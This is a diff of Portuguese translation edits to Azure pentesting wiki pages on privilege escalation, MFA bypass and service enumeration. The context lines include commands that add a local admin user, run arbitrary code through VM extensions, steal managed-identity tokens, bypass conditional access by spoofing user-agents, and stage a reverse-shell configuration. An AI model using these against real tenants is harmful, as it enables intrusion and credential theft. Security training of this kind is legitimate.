Lembre-se de que, se de alguma forma um atacante conseguir executar um runbook arbitrário (código arbitrário) em um trabalhador híbrido, ele irá **pivotar para a localização da VM**. Isso pode ser uma máquina local, uma VPC de uma nuvem diferente ou até mesmo uma VM do Azure.
@@ -80,9 +80,9 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Com a permissão **`Microsoft.Automation/automationAccounts/schedules/write`** é possível criar um novo Schedule na Conta de Automação que é executado a cada 15 minutos (não muito discreto) usando o seguinte comando.
Com a permissão **`Microsoft.Automation/automationAccounts/schedules/write`** é possível criar um novo Agendamento na Conta de Automação que é executado a cada 15 minutos (não muito discreto) usando o seguinte comando.
Note que o **intervalo mínimo para um schedule é de 15 minutos**, e o **tempo de início mínimo é de 5 minutos** no futuro.
Observe que o **intervalo mínimo para um agendamento é de 15 minutos**, e o **tempo de início mínimo é de 5 minutos** no futuro.
```bash
## For linux
az automation schedule create \
@@ -217,9 +217,9 @@ az rest --method PUT \
}
}'
```
### Ambientes de Execução Personalizados
### Ambientes de Runtime Personalizados
Se uma conta de automação estiver usando um ambiente de execução personalizado, pode ser possível sobrescrever um pacote personalizado do ambiente com algum código malicioso (como **um backdoor**). Dessa forma, sempre que um runbook que usa esse ambiente personalizado for executado e carregar o pacote personalizado, o código malicioso será executado.
Se uma conta de automação estiver usando um ambiente de runtime personalizado, pode ser possível sobrescrever um pacote personalizado do runtime com algum código malicioso (como **um backdoor**). Dessa forma, sempre que um runbook usando esse runtime personalizado for executado e carregar o pacote personalizado, o código malicioso será executado.
### Comprometendo a Configuração de Estado
@@ -236,13 +236,13 @@ Se uma conta de automação estiver usando um ambiente de execução personaliza
- Passo 2 — Compactar o Arquivo de Configuração
O `reverse_shell_config.ps1` é compactado em um arquivo `.zip`, tornando-o pronto para transferência para a Conta de Armazenamento do Azure.
```powershell
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Passo 3 — Definir Contexto de Armazenamento e Fazer Upload
O arquivo de configuração compactado é enviado para um contêiner de Armazenamento Azure predefinido, azure-pentest, usando o cmdlet Set-AzStorageBlobContent do Azure.
```powershell
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Passo 4 — Preparar Kali Box

20
src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
View File

@@ -10,7 +10,7 @@ As políticas de acesso condicional basicamente **definem** **Quem** pode acessa
Aqui estão alguns exemplos:
1. **Política de Risco de Login**: Esta política pode ser configurada para exigir autenticação multifatorial (MFA) quando um risco de login é detectado. Por exemplo, se o comportamento de login de um usuário for incomum em comparação com seu padrão regular, como fazer login de um país diferente, o sistema pode solicitar autenticação adicional.
2. **Política de Conformidade de Dispositivos**: Esta política pode restringir o acesso aos serviços do Azure apenas a dispositivos que estejam em conformidade com os padrões de segurança da organização. Por exemplo, o acesso pode ser permitido apenas a dispositivos que tenham software antivírus atualizado ou que estejam executando uma versão específica do sistema operacional.
2. **Política de Conformidade de Dispositivo**: Esta política pode restringir o acesso aos serviços do Azure apenas a dispositivos que estejam em conformidade com os padrões de segurança da organização. Por exemplo, o acesso pode ser permitido apenas a dispositivos que tenham software antivírus atualizado ou que estejam executando uma versão específica do sistema operacional.
## Bypasses de Políticas de Acesso Condicional
@@ -23,7 +23,7 @@ Também é necessário configurar as **condições** que irão **disparar** a po
- **Rede**: IP, intervalos de IP e localizações geográficas
- Pode ser contornada usando um VPN ou Proxy para se conectar a um país ou conseguindo fazer login a partir de um endereço IP permitido
- **Riscos da Microsoft**: Risco do usuário, risco de login, risco interno
- **Plataformas de dispositivos**: Qualquer dispositivo ou selecionar Android, iOS, Windows phone, Windows, macOS, Linux
- **Plataformas de Dispositivo**: Qualquer dispositivo ou selecionar Android, iOS, Windows phone, Windows, macOS, Linux
- Se “Qualquer dispositivo” não estiver selecionado, mas todas as outras opções estiverem selecionadas, é possível contorná-la usando um user-agent aleatório não relacionado a essas plataformas
- **Aplicativos cliente**: As opções são “Navegador”, “Aplicativos móveis e clientes de desktop”, “Clientes Exchange ActiveSync” e “Outros clientes”
- Para contornar o login com uma opção não selecionada
@@ -33,7 +33,7 @@ Também é necessário configurar as **condições** que irão **disparar** a po
Os possíveis **resultados** são: Bloquear ou Conceder acesso com condições potenciais como exigir MFA, dispositivo em conformidade…
### Plataformas de Dispositivos - Condição de Dispositivo
### Plataformas de Dispositivo - Condição de Dispositivo
É possível definir uma condição com base na **plataforma do dispositivo** (Android, iOS, Windows, macOS...), no entanto, isso é baseado no **user-agent**, então é fácil de contornar. Mesmo **fazendo todas as opções exigirem MFA**, se você usar um **user-agent que não é reconhecido,** você poderá contornar o MFA ou bloqueio:
@@ -57,7 +57,7 @@ Se isso estiver configurado na política condicional, um atacante pode simplesme
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
Para tentar contornar essa proteção, você deve ver se consegue **acessar qualquer aplicativo**.\
A ferramenta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tem **dezenas de IDs de aplicativos codificados** e tentará fazer login neles e informá-lo, e até fornecerá o token se for bem-sucedido.
A ferramenta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tem **dezenas de IDs de aplicativos codificados** e tentará fazer login neles e informá-lo, e até mesmo fornecer o token se for bem-sucedido.
Para **testar IDs de aplicativos específicos em recursos específicos**, você também pode usar uma ferramenta como:
```bash
@@ -69,13 +69,13 @@ Além disso, também é possível proteger o método de login (por exemplo, se v
A ferramenta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) também pode ser usada para propósitos semelhantes, embora pareça não estar mantida.
A ferramenta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) também pode ser usada para testar essas proteções e ver se é possível contornar os MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva **whitebox**. Você primeiro precisa baixar a lista de aplicativos permitidos no locatário e, em seguida, tentará fazer login neles.
A ferramenta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) também pode ser usada para testar essas proteções e ver se é possível contornar os MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva **whitebox**. Você primeiro precisa baixar a lista de aplicativos permitidos no inquilino e, em seguida, tentará fazer login neles.
## Outros Bypasses de Az MFA
### Toque de chamada
Uma opção de MFA do Azure é **receber uma chamada no número de telefone configurado** onde será solicitado ao usuário que **envie o caractere `#`**.
Uma opção de MFA do Azure é **receber uma chamada no número de telefone configurado**, onde será solicitado ao usuário que **envie o caractere `#`**.
> [!CAUTION]
> Como os caracteres são apenas **tons**, um atacante poderia **comprometer** a mensagem de **correio de voz** do número de telefone, configurando como mensagem o **tom de `#`** e, em seguida, ao solicitar o MFA, garantir que o **telefone da vítima esteja ocupado** (ligando para ele) para que a chamada do Azure seja redirecionada para o correio de voz.
@@ -85,7 +85,7 @@ Uma opção de MFA do Azure é **receber uma chamada no número de telefone conf
As políticas frequentemente exigem um dispositivo compatível ou MFA, então um **atacante poderia registrar um dispositivo compatível**, obter um **token PRT** e **contornar assim o MFA**.
Comece registrando um **dispositivo compatível no Intune**, depois **obtenha o PRT** com:
```powershell
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
@@ -142,19 +142,19 @@ Donkey token é um conjunto de funções que visa ajudar consultores de seguran
</strong></code></pre>
**Teste cada portal** se é possível **fazer login sem MFA**:
```powershell
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Porque o **portal** **Azure** **não é restrito**, é possível **coletar um token do endpoint do portal para acessar qualquer serviço detectado** pela execução anterior. Neste caso, o Sharepoint foi identificado, e um token para acessá-lo é solicitado:
```powershell
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Supondo que o token tenha a permissão Sites.Read.All (do Sharepoint), mesmo que você não consiga acessar o Sharepoint pela web devido ao MFA, é possível usar o token para acessar os arquivos com o token gerado:
```powershell
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## Referências

6
src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
View File

@@ -4,9 +4,9 @@
## Informações Básicas
**Grupos dinâmicos** são grupos que têm um conjunto de **regras** configuradas e todos os **usuários ou dispositivos** que correspondem às regras são adicionados ao grupo. Sempre que um **atributo** de usuário ou dispositivo é **alterado**, as regras dinâmicas são **reverificadas**. E quando uma **nova regra** é **criada**, todos os dispositivos e usuários são **verificados**.
**Dynamic groups** são grupos que têm um conjunto de **regras** configuradas e todos os **usuários ou dispositivos** que correspondem às regras são adicionados ao grupo. Sempre que um **atributo** de usuário ou dispositivo é **alterado**, as regras dinâmicas são **reverificadas**. E quando uma **nova regra** é **criada**, todos os dispositivos e usuários são **verificados**.
Grupos dinâmicos podem ter **funções do Azure RBAC atribuídas** a eles, mas **não é possível** adicionar **funções do AzureAD** a grupos dinâmicos.
Dynamic groups podem ter **Azure RBAC roles** atribuídos a eles, mas **não é possível** adicionar **AzureAD roles** a grupos dinâmicos.
Esse recurso requer licença Azure AD premium P1.
@@ -23,7 +23,7 @@ Obtenha grupos que permitem associação dinâmica: **`az ad group list --query
Para o e-mail do usuário convidado, aceite o convite e verifique as configurações atuais de **aquele usuário** em [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Infelizmente, a página não permite modificar os valores dos atributos, então precisamos usar a API:
```powershell
```bash
# Login with the gust user
az login --allow-no-subscriptions

10
src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
View File

@@ -79,7 +79,7 @@ az vm extension set \
Você também pode executar outras cargas úteis como: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Redefinir senha usando a extensão VMAccess
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -94,7 +94,7 @@ Também é possível abusar de extensões bem conhecidas para executar código o
<summary>Extensão VMAccess</summary>
Esta extensão permite modificar a senha (ou criar se não existir) de usuários dentro de VMs Windows.
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredConfigurationState (DSC)</summary>
Esta é uma **extensão de VM** que pertence à Microsoft e utiliza PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão:
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -310,7 +310,7 @@ Faça login via **SSH** com **`az ssh vm --name <vm-name> --resource-group <rsc-
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Todas essas são as permissões necessárias para **criar uma VM com uma identidade gerenciada específica** e deixar uma **porta aberta** (22 neste caso). Isso permite que um usuário crie uma VM e se conecte a ela e **roube tokens de identidade gerenciada** para escalar privilégios para ela.
Todas essas são as permissões necessárias para **criar uma VM com uma identidade gerenciada específica** e deixar uma **porta aberta** (22 neste caso). Isso permite que um usuário crie uma VM e se conecte a ela e **roube tokens de identidade gerenciada** para escalar privilégios a ela.
Dependendo da situação, mais ou menos permissões podem ser necessárias para abusar dessa técnica.
```bash
@@ -351,6 +351,6 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
De acordo com a [**documentação**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), esta permissão permite gerenciar o SO do seu recurso via Windows Admin Center como administrador. Portanto, parece que isso dá acesso ao WAC para controlar as VMs...
De acordo com a [**documentação**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), esta permissão permite que você gerencie o SO do seu recurso via Windows Admin Center como administrador. Portanto, parece que isso dá acesso ao WAC para controlar as VMs...
{{#include ../../../banners/hacktricks-training.md}}

4
src/pentesting-cloud/azure-security/az-services/README.md
View File

@@ -10,10 +10,10 @@ Você pode encontrar a lista de **portais da Microsoft em** [**https://msportals
#### Azure API via Powershell
Obtenha **access_token** do **IDENTITY_HEADER** e **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
Obtenha **access_token** de **IDENTITY_HEADER** e **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
Em seguida, consulte a API REST do Azure para obter o **ID da assinatura** e mais.
```powershell
```bash
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'

2
src/pentesting-cloud/azure-security/az-services/az-acr.md
View File

@@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# List all ACRs in your subscription
Get-AzContainerRegistry

10
src/pentesting-cloud/azure-security/az-services/az-app-services.md
View File

@@ -4,7 +4,7 @@
## Informações Básicas do App Service
Azure App Services permite que os desenvolvedores **construam, implantem e escalem aplicações web, backends de aplicativos móveis e APIs de forma integrada**. Suporta várias linguagens de programação e se integra a diversas ferramentas e serviços do Azure para funcionalidade e gerenciamento aprimorados.
Azure App Services permite que os desenvolvedores **construam, implantem e escalem aplicações web, backends de aplicativos móveis e APIs de forma integrada**. Ele suporta várias linguagens de programação e se integra a diversas ferramentas e serviços do Azure para funcionalidade e gerenciamento aprimorados.
Cada aplicativo é executado dentro de um sandbox, mas a isolação depende dos planos do App Service:
@@ -28,7 +28,7 @@ Os aplicativos têm algumas configurações interessantes:
## Autenticação Básica
Ao criar um aplicativo web (e uma função do Azure geralmente), é possível indicar se você deseja que a **Autenticação Básica seja habilitada** (desativada por padrão). Isso basicamente **habilita SCM (Source Control Manager) e FTP (File Transfer Protocol)** para a aplicação, permitindo que a aplicação seja implantada usando essas tecnologias.
Ao criar um aplicativo web (e uma função do Azure geralmente), é possível indicar se você deseja que a **Autenticação Básica seja habilitada** (desabilitada por padrão). Isso basicamente **habilita SCM (Source Control Manager) e FTP (File Transfer Protocol)** para a aplicação, permitindo que a aplicação seja implantada usando essas tecnologias.
Para acessar os servidores SCM e FTP, é necessário um **nome de usuário e senha**. Portanto, o Azure fornece algumas **APIs para obter as URLs** para essas plataformas e as credenciais.
@@ -49,7 +49,7 @@ Alguns endpoints interessantes que você pode encontrar no Kudu são:
- Note que este ambiente **não tem acesso** ao serviço de metadados para obter tokens.
- `/webssh/host`: Um cliente SSH baseado na web que permite conectar dentro do container onde o aplicativo está sendo executado.
- Este ambiente **tem acesso ao serviço de metadados** para obter tokens das identidades gerenciadas atribuídas.
- `/Env`: Obter informações sobre o sistema, configurações do aplicativo, variáveis de ambiente, strings de conexão e cabeçalhos HTTP.
- `/Env`: Obtenha informações sobre o sistema, configurações do aplicativo, variáveis de ambiente, strings de conexão e cabeçalhos HTTP.
- `/wwwroot/`: O diretório raiz do aplicativo web. Você pode baixar todos os arquivos daqui.
Além disso, o Kudu costumava ser open source em [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu), mas o projeto foi descontinuado e comparando o comportamento do Kudu atual no Azure com o antigo, é possível ver que **várias coisas já mudaram**.
@@ -180,7 +180,7 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
@@ -227,7 +227,7 @@ done
## Exemplos para gerar Aplicativos Web
### Python do local
### Python a partir do local
Este tutorial é baseado no de [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli).
```bash

8
src/pentesting-cloud/azure-security/az-services/az-application-proxy.md
View File

@@ -6,21 +6,21 @@
[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
O Application Proxy do Azure Active Directory fornece **acesso remoto seguro a aplicações web locais**. Após um **login único no Azure AD**, os usuários podem acessar tanto **aplicações em nuvem** quanto **aplicações locais** através de uma **URL externa** ou um portal de aplicação interno.
O Application Proxy do Azure Active Directory fornece **acesso remoto seguro a aplicativos web locais**. Após um **login único no Azure AD**, os usuários podem acessar tanto **aplicativos em nuvem** quanto **aplicativos locais** através de uma **URL externa** ou um portal de aplicativos interno.
Funciona assim:
<figure><img src="../../../images/image (186).png" alt=""><figcaption></figcaption></figure>
1. Após o usuário acessar a aplicação através de um endpoint, o usuário é direcionado para a **página de login do Azure AD**.
1. Após o usuário acessar o aplicativo através de um endpoint, o usuário é direcionado para a **página de login do Azure AD**.
2. Após um **login bem-sucedido**, o Azure AD envia um **token** para o dispositivo cliente do usuário.
3. O cliente envia o token para o **serviço Application Proxy**, que recupera o nome principal do usuário (UPN) e o nome principal de segurança (SPN) do token. **O Application Proxy então envia a solicitação para o conector do Application Proxy**.
4. Se você configurou o login único, o conector realiza qualquer **autenticação adicional** necessária em nome do usuário.
5. O conector envia a solicitação para a **aplicação local**.
5. O conector envia a solicitação para o **aplicativo local**.
6. A **resposta** é enviada através do conector e do serviço Application Proxy **para o usuário**.
## Enumeração
```powershell
```bash
# Enumerate applications with application proxy configured
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}

4
src/pentesting-cloud/azure-security/az-services/az-arm-templates.md
View File

@@ -4,7 +4,7 @@
## Informações Básicas
[Dos documentos:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Para implementar **infraestrutura como código para suas soluções Azure**, use modelos do Azure Resource Manager (modelos ARM). O modelo é um arquivo de Notação de Objeto JavaScript (**JSON**) que **define** a **infraestrutura** e a configuração para seu projeto. O modelo usa uma sintaxe declarativa, que permite que você declare o que pretende implantar sem precisar escrever a sequência de comandos de programação para criá-lo. No modelo, você especifica os recursos a serem implantados e as propriedades desses recursos.
[Dos documentos:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Para implementar **infraestrutura como código para suas soluções Azure**, use modelos do Azure Resource Manager (modelos ARM). O modelo é um arquivo de Notação de Objetos JavaScript (**JSON**) que **define** a **infraestrutura** e a configuração para seu projeto. O modelo usa uma sintaxe declarativa, que permite que você declare o que pretende implantar sem precisar escrever a sequência de comandos de programação para criá-lo. No modelo, você especifica os recursos a serem implantados e as propriedades desses recursos.
### História
@@ -13,7 +13,7 @@ Se você puder acessá-lo, poderá ter **informações sobre recursos** que não
## Buscar Informações Sensíveis
Usuários com as permissões `Microsoft.Resources/deployments/read` e `Microsoft.Resources/subscriptions/resourceGroups/read` podem **ler o histórico de implantações**.
```powershell
```bash
Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName <name>

12
src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md
View File

@@ -4,11 +4,11 @@
## Informações Básicas
As Contas de Automação do Azure são serviços baseados em nuvem na Microsoft Azure que ajudam a **automatizar tarefas** como gerenciamento de recursos, configuração e atualizações em ambientes Azure e locais. Elas fornecem **Runbooks** (scripts para automação que são executados), **agendas** e **grupos de trabalhadores híbridos** para executar **trabalhos** de automação, permitindo infraestrutura como código (IaC) e automação de processos para melhorar a eficiência e a consistência na gestão de recursos em nuvem.
As Contas de Automação do Azure são serviços baseados em nuvem na Microsoft Azure que ajudam a **automatizar tarefas** como gerenciamento de recursos, configuração e atualizações em ambientes Azure e locais. Elas fornecem **Runbooks** (scripts para automação que são executados), **agendas** e **grupos de trabalhadores híbridos** para executar **trabalhos de automação**, permitindo infraestrutura como código (IaC) e automação de processos para melhorar a eficiência e a consistência na gestão de recursos em nuvem.
### Configurações
- **Credenciais**: A senha é acessível apenas dentro de um runbook dentro da conta de automação, sendo usada para **armazenar nomes de usuário e senhas de forma segura**.
- **Credenciais**: A senha é acessível apenas dentro de um runbook na conta de automação, sendo usada para **armazenar nomes de usuário e senhas de forma segura**.
- **Variáveis**: Usadas para armazenar **dados de configuração** que podem ser utilizados em runbooks. Isso também pode incluir informações sensíveis, como chaves de API. Se a variável estiver **armazenada criptografada**, ela estará disponível apenas dentro de um runbook na conta de automação.
- **Certificados**: Usados para armazenar **certificados** que podem ser utilizados em runbooks.
- **Conexões**: Usadas para armazenar **informações de conexão** com serviços externos. Isso pode conter **informações sensíveis**.
@@ -16,7 +16,7 @@ As Contas de Automação do Azure são serviços baseados em nuvem na Microsoft
### Runbooks & Trabalhos
Um Runbook na Automação do Azure é um **script que executa tarefas automaticamente** dentro do seu ambiente de nuvem. Os runbooks podem ser escritos em PowerShell, Python ou editores gráficos. Eles ajudam a automatizar tarefas administrativas, como gerenciamento de VMs, aplicação de patches ou verificações de conformidade.
Um Runbook na Automação do Azure é um **script que executa tarefas automaticamente** dentro do seu ambiente em nuvem. Os runbooks podem ser escritos em PowerShell, Python ou editores gráficos. Eles ajudam a automatizar tarefas administrativas, como gerenciamento de VMs, aplicação de patches ou verificações de conformidade.
No **código** localizado dentro dos **Runbooks** pode conter **informações sensíveis** (como credenciais).
@@ -61,7 +61,7 @@ No entanto, também é possível **criar seus próprios ambientes**, usando um d
### Grupos de Trabalhadores Híbridos
Na Automação do Azure, o ambiente de execução padrão para runbooks é o **Azure Sandbox**, uma plataforma baseada em nuvem gerenciada pelo Azure, adequada para tarefas envolvendo recursos do Azure. No entanto, esse sandbox tem limitações, como acesso restrito a recursos locais e restrições de tempo de execução e uso de recursos. Para superar essas limitações, são empregados Grupos de Trabalhadores Híbridos. Um Grupo de Trabalhadores Híbridos consiste em **um ou mais Trabalhadores de Runbook Híbridos instalados em suas próprias máquinas**, seja em locais, em outros ambientes de nuvem ou VMs do Azure. Essa configuração permite que os runbooks sejam executados diretamente nessas máquinas, proporcionando acesso direto a recursos locais, a capacidade de executar tarefas mais longas e mais intensivas em recursos, e a flexibilidade de interagir com ambientes além do alcance imediato do Azure.
Na Automação do Azure, o ambiente de execução padrão para runbooks é o **Azure Sandbox**, uma plataforma baseada em nuvem gerenciada pelo Azure, adequada para tarefas envolvendo recursos do Azure. No entanto, esse sandbox tem limitações, como acesso restrito a recursos locais e restrições de tempo de execução e uso de recursos. Para superar essas limitações, são empregados Grupos de Trabalhadores Híbridos. Um Grupo de Trabalhadores Híbridos consiste em **um ou mais Trabalhadores de Runbook Híbridos instalados em suas próprias máquinas**, seja em locais, em outros ambientes de nuvem ou VMs do Azure. Essa configuração permite que os runbooks sejam executados diretamente nessas máquinas, proporcionando acesso direto a recursos locais, a capacidade de executar tarefas mais longas e intensivas em recursos, e a flexibilidade de interagir com ambientes além do alcance imediato do Azure.
Quando um grupo de trabalhadores híbridos é criado, é necessário indicar as **credenciais** a serem usadas. Existem 2 opções:
@@ -73,7 +73,7 @@ Portanto, se você puder escolher executar um **Runbook** em um **Trabalhador H
Além disso, se o trabalhador híbrido estiver sendo executado no Azure com outras Identidades Gerenciadas anexadas, o runbook poderá acessar a **identidade gerenciada do runbook e todas as identidades gerenciadas da VM a partir do serviço de metadados**.
> [!TIP]
> Lembre-se de que o **serviço de metadados** tem uma URL diferente (**`http://169.254.169.254`**) do serviço de onde se obtém o token de identidades gerenciadas da conta de automação (**`IDENTITY_ENDPOINT`**).
> Lembre-se de que o **serviço de metadados** tem uma URL diferente (**`http://169.254.169.254`**) do serviço de onde se obtém o token de identidade gerenciada da conta de automação (**`IDENTITY_ENDPOINT`**).
### Configuração de Estado (SC)
@@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resourc
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell
```bash
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

66
src/pentesting-cloud/azure-security/az-services/az-azuread.md
View File

@@ -6,7 +6,7 @@
Azure Active Directory (Azure AD) serve como o serviço baseado em nuvem da Microsoft para gerenciamento de identidade e acesso. É fundamental para permitir que os funcionários façam login e tenham acesso a recursos, tanto dentro quanto fora da organização, abrangendo Microsoft 365, o portal Azure e uma multitude de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, incluindo **autenticação, autorização e gerenciamento de usuários**.
As principais características do Azure AD envolvem **autenticação multifatorial** e **acesso condicional**, juntamente com integração perfeita com outros serviços de segurança da Microsoft. Esses recursos elevam significativamente a segurança das identidades dos usuários e capacitam as organizações a implementar e aplicar efetivamente suas políticas de acesso. Como um componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é crucial para o gerenciamento baseado em nuvem das identidades dos usuários.
As principais características do Azure AD envolvem **autenticação multifatorial** e **acesso condicional**, juntamente com integração perfeita com outros serviços de segurança da Microsoft. Essas características elevam significativamente a segurança das identidades dos usuários e capacitam as organizações a implementar e fazer cumprir suas políticas de acesso de forma eficaz. Como um componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é crucial para o gerenciamento baseado em nuvem das identidades dos usuários.
## Enumeração
@@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples
{{#endtab }}
{{#tab name="Mg" }}
```powershell
```bash
# Login Open browser
Connect-MgGraph
@@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg*
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -104,7 +104,7 @@ Get-Command *az*
{{#endtab }}
{{#tab name="Raw PS" }}
```powershell
```bash
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
@@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -151,10 +151,10 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
Quando você **faz login** via **CLI** no Azure com qualquer programa, você está usando uma **Aplicação Azure** de um **inquilino** que pertence à **Microsoft**. Essas Aplicações, como as que você pode criar em sua conta, **têm um id de cliente**. Você **não poderá ver todas elas** nas **listas de aplicações permitidas** que você pode ver no console, **mas elas são permitidas por padrão**.
Por exemplo, um **script powershell** que **autentica** usa um app com id de cliente **`1950a258-227b-4e31-a9cf-717495945fc2`**. Mesmo que o app não apareça no console, um sysadmin poderia **bloquear essa aplicação** para que os usuários não possam acessar usando ferramentas que se conectam via esse App.
Por exemplo, um **script powershell** que **autentica** usa um aplicativo com id de cliente **`1950a258-227b-4e31-a9cf-717495945fc2`**. Mesmo que o aplicativo não apareça no console, um sysadmin poderia **bloquear essa aplicação** para que os usuários não possam acessar usando ferramentas que se conectam via esse App.
No entanto, existem **outros ids de cliente** de aplicações que **permitirão que você se conecte ao Azure**:
```powershell
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
@@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
@@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Enumerate users
Get-AzADUser
# Get details of a user
@@ -294,8 +294,8 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtab }}
{{#endtabs }}
#### Mudar Senha do Usuário
```powershell
#### Alterar Senha do Usuário
```bash
